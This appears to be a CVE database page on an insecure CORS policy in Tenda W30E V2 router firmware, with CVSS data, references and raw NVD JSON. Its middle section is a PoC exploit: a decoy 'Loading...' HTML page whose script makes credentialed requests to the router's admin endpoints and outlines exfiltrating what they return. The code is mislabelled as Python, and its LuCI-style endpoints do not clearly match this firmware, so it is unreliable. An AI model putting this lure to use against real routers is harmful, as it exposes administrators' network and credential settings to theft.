CVE-2026-24435

Description

Shenzhen Tenda W30E V2 firmware versions up to and including V16.01.0.19(5037) implement an insecure Cross-Origin Resource Sharing (CORS) policy on authenticated administrative endpoints. The device sets Access-Control-Allow-Origin: * in combination with Access-Control-Allow-Credentials: true, allowing attacker-controlled origins to issue credentialed cross-origin requests.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:tenda:w30e_firmware:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:tenda:w30e:2.0:*:*:*:*:*:*:* - NOT VULNERABLE

Tenda W30E V2 固件版本 <= V16.01.0.19(5037)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2026-24435 PoC - Tenda W30E V2 Insecure CORS
// Description: Exploits insecure CORS policy to steal sensitive data from authenticated router admin

<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <h1>Please wait...</h1>
    <script>
    const TARGET_ROUTER = 'http://192.168.0.1'; // Router IP, change as needed
    const ENDPOINTS = [
        '/cgi-bin/luci/admin/system/admin',     // Admin configuration
        '/cgi-bin/luci/admin/network/wireless', // Wireless settings
        '/cgi-bin/luci/admin/status',           // System status
        '/cgi-bin/luci/admin/network/dhcp'      // DHCP settings
    ];
    
    async function exploitCORS() {
        console.log('[+] Starting CORS exploitation...');
        
        for (const endpoint of ENDPOINTS) {
            try {
                const url = TARGET_ROUTER + endpoint;
                console.log('[>] Requesting: ' + url);
                
                // Send request with credentials (exploiting Access-Control-Allow-Credentials: true)
                const response = await fetch(url, {
                    method: 'GET',
                    credentials: 'include'  // Include cookies/auth tokens
                });
                
                if (response.ok) {
                    const data = await response.text();
                    console.log('[+] Data received from ' + endpoint);
                    // In real attack, data would be exfiltrated to attacker server
                    console.log('Data length: ' + data.length);
                }
            } catch (error) {
                console.error('[-] Error: ' + error.message);
            }
        }
    }
    
    // Execute exploitation
    exploitCORS();
    </script>
</body>
</html>

// Attack flow:
// 1. Attacker hosts this HTML page or injects JS via XSS if available
// 2. Victim (authenticated router admin) visits the page
// 3. Browser sends request with cookies to router API
// 4. Router responds with CORS headers allowing any origin with credentials
// 5. Victim's browser allows the response to be read by attacker page
// 6. Sensitive data is exfiltrated

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-24435
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-24435
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-24435/
[4] VulDB https://vuldb.com/cve/CVE-2026-24435
[5] https://www.tendacn.com/product/W30E
[6] https://www.vulncheck.com/advisories/tenda-w30e-v2-permissive-cors-allows-cross-origin-data-access

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-24435", "sourceIdentifier": "[email protected]", "published": "2026-01-26T18:16:41.030", "lastModified": "2026-02-02T19:56:16.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Shenzhen Tenda W30E V2 firmware versions up to and including V16.01.0.19(5037) implement an insecure Cross-Origin Resource Sharing (CORS) policy on authenticated administrative endpoints. The device sets Access-Control-Allow-Origin: * in combination with Access-Control-Allow-Credentials: true, allowing attacker-controlled origins to issue credentialed cross-origin requests."}, {"lang": "es", "value": "Las versiones de firmware de Shenzhen Tenda W30E V2 hasta e incluyendo V16.01.0.19(5037) implementan una política insegura de Intercambio de Recursos de Origen Cruzado (CORS) en puntos finales administrativos autenticados. El dispositivo establece Access-Control-Allow-Origin: * en combinación con Access-Control-Allow-Credentials: true, permitiendo que orígenes controlados por el atacante emitan solicitudes de origen cruzado con credenciales."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-942"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:w30e_firmware:*:*:*:*:*:*:*:*", "versionEndIncluding": "16.01.0.19\\(5037\\)", "matchCriteriaId": "4DB07B19-71FC-4936-98BD-36A8B3B7CBF0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:w30e:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "56B9C2BB-D36E-40F8-83FF-FC919337F6BD"}]}]}], "references": [{"url": "https://www.tendacn.com/product/W30E", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/tenda-w30e-v2-permissive-cors-allows-cross-origin-data-access", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}